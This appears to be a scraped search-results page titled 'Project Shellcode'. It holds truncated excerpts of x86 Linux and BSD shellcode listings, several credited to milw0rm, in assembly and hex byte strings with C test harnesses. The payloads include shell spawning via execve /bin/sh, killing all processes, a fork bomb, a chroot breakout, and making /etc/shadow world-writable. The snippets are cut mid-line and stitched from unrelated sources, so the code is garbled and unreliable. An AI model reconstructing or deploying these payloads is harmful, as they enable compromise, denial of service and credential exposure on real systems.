Project Shellcode

... [esi + 12], eax mov al, 11 mov ebx, esi lea ecx, [esi + 8] lea edx, [esi + 12] int 0x80 get_string: call shellcode db '/bin/sh' </pre></body></html> ...

char shellcode[]= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e ... "Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm. ...

... 11/13/2006 * * 11 byte shellcode to kill all processes for Linux ... push byte -1 * pop ebx * push byte 9 * pop ecx * int 0x80 */ main() { char shellcode[] = "\x6a\x25\x58\x6a ...

deliver shellcode however you would normally deliver shellcode to a machine, lets say 192. ... xcd\x80" // int $0x80 ;fork "\x85\xc0" // test %eax,%eax "\x75\xe2" ...

s0t4ipv6@shellcode.com.ar 45 bytes. - break chrooted */ char shellcode[]= "\x68\x62\x2e ... x50" /* pushl %eax */ "\xcd\x80" /* int $0x80 */ "\x57" /* pushl %edi */ "\xb0\x3d" ...

a514b18340a690e6553861ef5d530eef ; Shellcode-Arch .: x86 ; Nasm ... path push eax ; dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...

8a46e92e51db66046f4dd151f4b87ba6 ; Shellcode-Arch .: x86 ; Nasm ... path push edx ; dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...

... July 26, 2001 #The following code was used to make the above shellcode. . global main main: jmp bottom top: ... edx pushl %edx pushl %ecx pushl %ebx pushl %eax int $0x80 movl ...

The message string goes at the end of the shellcode, * and is terminated with 0xFF. ... int 0x80 &quot;\xb0\x01&quot; // mov al, 0x01(sys_exit) &quot;\xcd\x80&quot; // int ...

/* Title : Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) ... %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } // milw0rm.com ...

global _start _start: xor %eax, %eax movb $102, %al mov %eax, %esi ... ecx movb $63, %al int $0x80 movb $63, %al dec %ecx int $0x80 # exec shell jmp 1f 2: ...

No real damage :) * * exit() code is the last 5 bytes (0x6a - 0x80) ... esp * int 0x80 * * ; exit() * * inc eax * int 0x80 */ main() { char shellcode[] = "\x6a ...

... esp * push word 0666Q * pop ecx * int 0x80 * * push byte 1 * pop eax * int 0x80 */ main() { char shellcode[] = "\x31\xd2\x6a\x0f\x58\x52\x6a\x77 ...

... kid [FreeBSD x86 kill all procesess 12 bytes shellcode] Compile: nasm -f elf code.asm ld -e _start ... check /usr/src/sys/kern/syscalls.master for details push eax int 0x80 ...

... _start: * push byte 2 * pop eax * int 0x80 * jmp short _start */ main() { char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9"; (*(void (*)()) shellcode) ...

/* The setuid(0)+chroot() shellcode it will put '../' 10 times Size 46 bytes OS *BSD ... ecx,ecx push ecx mov al,0x17 push eax int 0x80 xor eax,eax push eax mov cl,0x1e mov al, ...

char shellcode[] = /* open(device, O_WRONLY) */ "\x6a\x05" // push $0x5 "\x58" // pop ... int $0x80 ; int main() { int (*f)() = (int(*)())shellcode; printf ...

at 172 bytes, its really bloated for shellcode, but if your reading this anyway, you ... x61" //popa #pop prepared registers from stack "\xcd\x80" //int ...